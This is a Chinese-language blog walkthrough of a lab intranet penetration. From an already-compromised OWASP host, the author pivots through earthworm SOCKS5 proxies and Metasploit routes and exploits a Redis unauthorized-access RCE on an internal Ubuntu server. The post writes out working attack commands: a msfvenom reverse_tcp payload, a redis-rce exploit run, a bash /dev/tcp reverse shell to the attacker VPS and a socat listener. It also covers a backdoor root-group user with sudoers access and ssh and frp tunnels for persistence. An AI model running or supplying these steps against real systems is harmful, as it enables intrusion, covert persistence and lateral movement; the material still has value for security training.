/pr_nmap如何挂代理">
当前位置:   article > 正文

内网安全---一层主机渗透_nmap如何挂代理

nmap如何挂代理

内网学习小结

一、环境搭建

实验拓扑结构:

在这里插入图片描述

在一层内网服务器ubuntu上搭建redis服务器,接下来的实验通过redis未授权漏洞来获取目标主机的权限。

在OWASP服务器上做NAT转换,使Ubuntu Server可以连接外网:

# 配置ipables做nat
iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -o eth0 -j SNAT --to 192.168.101.100

# 打开Linux内核转发功能
echo "1" > /proc/sys/net/ipv4/ip_forward
  • 1
  • 2
  • 3
  • 4
  • 5

本次实验的目的:(实验前提:已经获取了owasp服务器的控制权)

通过owasp服务器去发现内网主机以及通过socks5代理,利用redis远程命令执行漏洞获取ubuntu server的shell,并建立稳定连接

二、搭建socks5代理

在owasp服务器上建立socks5代理,使用earthworm工具:

# 在VPS服务器上运行earthworm客户端:监听本地端口9999,连接10000远程端口
./ew_for_linux64 -s rcsocks -l 9999 -e 10000

# 在owasp服务器上运行服务端程序:连接客户端
./ew_for_Linux32 -s rssocks -d 192.168.101.128 -e 10000

# VPS上配置/etc/proxychain4.conf
socks5 192.168.101.128 9999

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

三、内网主机扫描

1、使用nmap工具

发现内网主机以及服务扫描,通过socks5代理,利用nmap工具进行扫描

# 使用nmap的TCP扫描,去发现目标主机开启的服务(由于socks5代理仅支持TCP和UDP,因此需要关闭掉ICMP扫描)
proxychains nmap -sT -Pn 192.168.100.101 -p 80,6379
  • 1
  • 2

在这里插入图片描述

2、使用metasploit

通过MSF模块去扫描内网服务:添加路由的方式

# 首先需要与owasp服务器建立msf的shell连接
# 通过上传Linux马,在本地msf中进行监听
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.101.128 LPORT=10001 -f elf -o shell

# 将shell文件传到owasp服务器中,并在本地msf中进行监听
[1]use exploit/multi/handler
[2]set payload linux/x86/meterpreter/reverse_tcp

# 在owasp服务器上运行shell文件
# VPS服务器上反弹回来一个shell
# 添加owasp进路由
meterpreter > run post/multi/manage/autoroute
meterpreter > run autoroute -p

# 使用msf的auxiliary/scanner/portscan/tcp模块进行扫描
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

在这里插入图片描述

接下来确定服务版本(redis服务版本):

# 使用auxiliary/scanner/redis/redis_server模块进行扫描
  • 1

在这里插入图片描述

四、redis远程代码执行

# 这里直接拿网上的poc去打(运行的时候记得加上proxychains,进行socks5代理)
proxychains python redis-rce.py -r 192.168.100.101 -L 192.168.101.128 -f exp.so

# 接下来进行反向连接
# 有时候获取到的shell是不完整的,例如无法通过vi/vim命令写入文件
# 监听(高级版的nc)
socat file:`tty`,raw,echo=0 tcp-listen:10003
# shell连接
/bin/bash -i > /dev/tcp/192.168.101.128/10003 0<&1 2>&1

# 接下来就可以进行写入文件操作
# 留后门,添加sudo权限(/etc/sudoers)
# -u:指定user ID
# -g:指定用户组,0表示root组
# -s:指定shell
useradd -u uid -g 0 -s /bin/bash swtre33
passd swtre33
# 并在/etc/sudoers中添加sudo权限
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

在这里插入图片描述

内网主机出网探测:icmp、http、ssh、dns等,使用命令ping、ssh、nslookup、curl等来探测流量是否可以出去

判断文件是否可以从外网获取
探测防火墙出网流量规则
是否需要建立隧道
  • 1
  • 2
  • 3

五、建立稳定连接

1、earthworm工具

与内网主机建立socks5代理:(如果内网主机可以和外网通信)

# 以内网主机作为跳板进行更加深入的渗透(不以边界主机作为代理)
# 这里也可以直接使用earthworm
# VPS上运行
./ew_for_linux64 -s rcsocks -l 1090 -e 7777

# 在ubuntu服务器上运行
./ew_for_linux64 -s rssocks -d 192.168.101.128 -e 7777
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

2、ssh远程端口转发

socks5获取的连接有时不太稳定,这种情况下可以通过ssh远程端口转发实现稳定的ssh连接服务

# 将ubuntu服务器的22号端口转发到VPS服务器上的某个端口
# 在ubuntu服务器上运行(将本地服务器的22端口转发到VPS的8888号端口)
ssh -R 8888:192.168.100.101:22 -fN root@192.168.101.128
  • 1
  • 2
  • 3

在这里插入图片描述

# 接下来在VPS上连接本地的8888端口即可连接到目标服务器的22号端口
ssh swtre33@127.0.0.1 -p 8888
  • 1
  • 2

3、frp建立隧道

通过frp建立隧道:比较稳定,但会遗留配置文件(配置文件中包含服务主机,易被溯源)

# 将VPS作为服务器,Ubuntu服务器作为客户端
# frpc.ini(配置远程服务器VPS,将本地端口22号转发到远程6000端口)
[common]
server_addr = 192.168.101.128
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

# 在VPS上开启frp访问
./frps -c frps.ini
# 在ubuntu上进行连接
./frpc -c frpc.ini
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

在这里插入图片描述

这样,就将ubuntu服务器的22号端口绑定了VPS的6000端口,通过在VPS上连接自己的6000端口,即可连接到ubuntu服务器上22号ssh服务.

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/725089
推荐阅读
相关标签
  

闽ICP备14008679号